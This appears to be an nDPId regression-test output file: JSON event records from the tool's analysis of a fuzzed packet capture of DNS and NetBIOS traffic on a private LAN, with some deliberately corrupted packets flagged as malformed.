+00467{"flow_id":238,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":659,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471024,"pkt_ts_usec":307917,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIbFEAAIARSwDAqAECwKgBAQsJADUANMyuXQ0BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00718{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":659,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":238,"flow_packet_id":4,"flow_first_seen":1120471019307,"flow_last_seen":1120471024307,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2825,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00468{"flow_id":238,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":660,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471028,"pkt_ts_usec":313614,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtARe9CABFAABIbFIAAIARSv\/AqAECwKgBAQsJADUANMyuXQ0BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":661,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":151,"flow_packet_id":3,"flow_first_seen":1120470414647,"flow_last_seen":1120470423654,"flow_tot_l4_data_len":156,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2783,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":661,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":239,"flow_packet_id":1,"flow_first_seen":1120471033895,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00687{"flow_id":239,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":661,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471033,"pkt_ts_usec":895104,"pkt_caplen":243,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":243,"pkt_l4_len":209,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAADlbFMAAIARSWPAqAECwKgB\/wCKAIoA0VrwEQ6FZMCoAQIAigC7AAAgRUVEQURBBENERURHREZDQUNBQ0FDQUNBQ0FDQUNBQ0EAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJOAP+qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00567{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":661,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":239,"flow_packet_id":1,"flow_first_seen":1120471033895,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"NetBIOS.SMBv1","breed":"Dangerous","category":"System"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":662,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":240,"flow_packet_id":1,"flow_first_seen":1120471036315,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2826,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":240,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":662,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471036,"pkt_ts_usec":315554,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEbFQAAIARSwHAqAECwKgBAQsKADUAMJWmjw4AAAABAAAAAAAAATEBEgEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":662,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":240,"flow_packet_id":1,"flow_first_seen":1120471036315,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2826,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1._.0.127.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00493{"flow_id":240,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":663,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471036,"pkt_ts_usec":317049,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1CwoAR3gijw6AAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAgAwAAcAMAAwAAQAAJRAACwlsb2NhbGhvc3QA"} +00676{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":663,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":240,"flow_packet_id":2,"flow_first_seen":1120471036315,"flow_last_seen":1120471036317,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2826,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":12,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":665,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":239,"flow_packet_id":1,"flow_first_seen":1120471033895,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":665,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":241,"flow_packet_id":1,"flow_first_seen":1120471048339,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.114","src_port":2827,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":241,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":665,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471048,"pkt_ts_usec":339111,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIbFYAAIARSvvAqAECwKgBcgsLADUANESJJXMAAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00660{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":665,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":241,"flow_packet_id":1,"flow_first_seen":1120471048339,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.114","src_port":2827,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":666,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":242,"flow_packet_id":1,"flow_first_seen":1120471049334,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2827,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":242,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":666,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471049,"pkt_ts_usec":334155,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIbFcAAIARSvrAqAECwKgBAQsLADUANESJ5TABAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaU15Alb4AAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":666,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":242,"flow_packet_id":1,"flow_first_seen":1120471049334,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2827,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercimy.v_","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00428{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":667,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471051,"pkt_ts_usec":336804,"pkt_caplen":86,"pkt_type":18432,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69SABFAABIbFgAAIARQvnAqAECwKgBAQsLADUANESJ5TABAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":667,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":18432} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":668,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":243,"flow_packet_id":1,"flow_first_seen":1120471053339,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.170.1.1","src_port":2827,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":243,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":668,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471053,"pkt_ts_usec":339683,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIbFkAAIARSvjAqAECwKoBAQsLADUANESJ5TABAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJj8XR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":668,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":243,"flow_packet_id":1,"flow_first_seen":1120471053339,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.170.1.1","src_port":2827,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cyberc_ty.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00427{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":669,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471057,"pkt_ts_usec":345430,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBcADRHAODtAW69CABgAABIbFoAAIARSvfAqAECwKgBAQsLADUANESJ5TABAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liRXdjaXR5AmRrAAAhgAE="} +00166{"basic_event_id":2,"basic_event_name":"Unknown L3 protocol","thread_id":0,"packet_id":669,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","protocol":2048} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":670,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":242,"flow_packet_id":1,"flow_first_seen":1120471049334,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2827,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":670,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":241,"flow_packet_id":1,"flow_first_seen":1120471048339,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.114","src_port":2827,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":670,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":243,"flow_packet_id":1,"flow_first_seen":1120471053339,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.170.1.1","src_port":2827,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":670,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":244,"flow_packet_id":1,"flow_first_seen":1120471065347,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2828,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":244,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":670,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471065,"pkt_ts_usec":347471,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEJXMAAIARSvrAqAECwKgBAQsMADUAMOiAPDIAAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":670,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":244,"flow_packet_id":1,"flow_first_seen":1120471065347,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2828,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":671,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":245,"flow_packet_id":1,"flow_first_seen":1120471065349,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2572,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_id":245,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":671,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471065,"pkt_ts_usec":349006,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAAFAAEARtz7AqAEBwKgBAgA1CgwAR8r8PDKAAAABAAHJAAAAATEBMAEwAzEyN0ppbi1hZGRyBGFycGEAABwAAcAMAAwAAQBsJxAADwlsb2NhbGhvc3QA"} +00660{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":671,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":245,"flow_packet_id":1,"flow_first_seen":1120471065349,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2572,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":673,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":246,"flow_packet_id":1,"flow_first_seen":1120471067211,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":11,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_id":246,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":673,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471067,"pkt_ts_usec":211672,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABObF0AAIARSfDAqAECwKgB\/wALAIkAOls0hWcBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} +00519{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":673,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":246,"flow_packet_id":1,"flow_first_seen":1120471067211,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":11,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":675,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":247,"flow_packet_id":1,"flow_first_seen":1120471068711,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"62.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_id":247,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":675,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471068,"pkt_ts_usec":711674,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABObF8AAIARSe4+qAECwKgB\/wCJAIkAOls0hWcBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNNQAgAAE="} +00519{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":675,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":247,"flow_packet_id":1,"flow_first_seen":1120471068711,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"62.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":676,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":247,"flow_packet_id":1,"flow_first_seen":1120471068711,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"62.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":676,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":246,"flow_packet_id":1,"flow_first_seen":1120471067211,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":11,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":676,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":245,"flow_packet_id":1,"flow_first_seen":1120471065349,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2572,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":676,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":162,"flow_packet_id":4,"flow_first_seen":1120470457512,"flow_last_seen":1120470465524,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2787,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":676,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":244,"flow_packet_id":1,"flow_first_seen":1120471065347,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2828,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":676,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":248,"flow_packet_id":1,"flow_first_seen":1120471077370,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2829,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":248,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":676,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471077,"pkt_ts_usec":370875,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIbGAAAIARSvHAqAECwKgBAQsNADUANFmE0DMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":676,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":248,"flow_packet_id":1,"flow_first_seen":1120471077370,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2829,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} 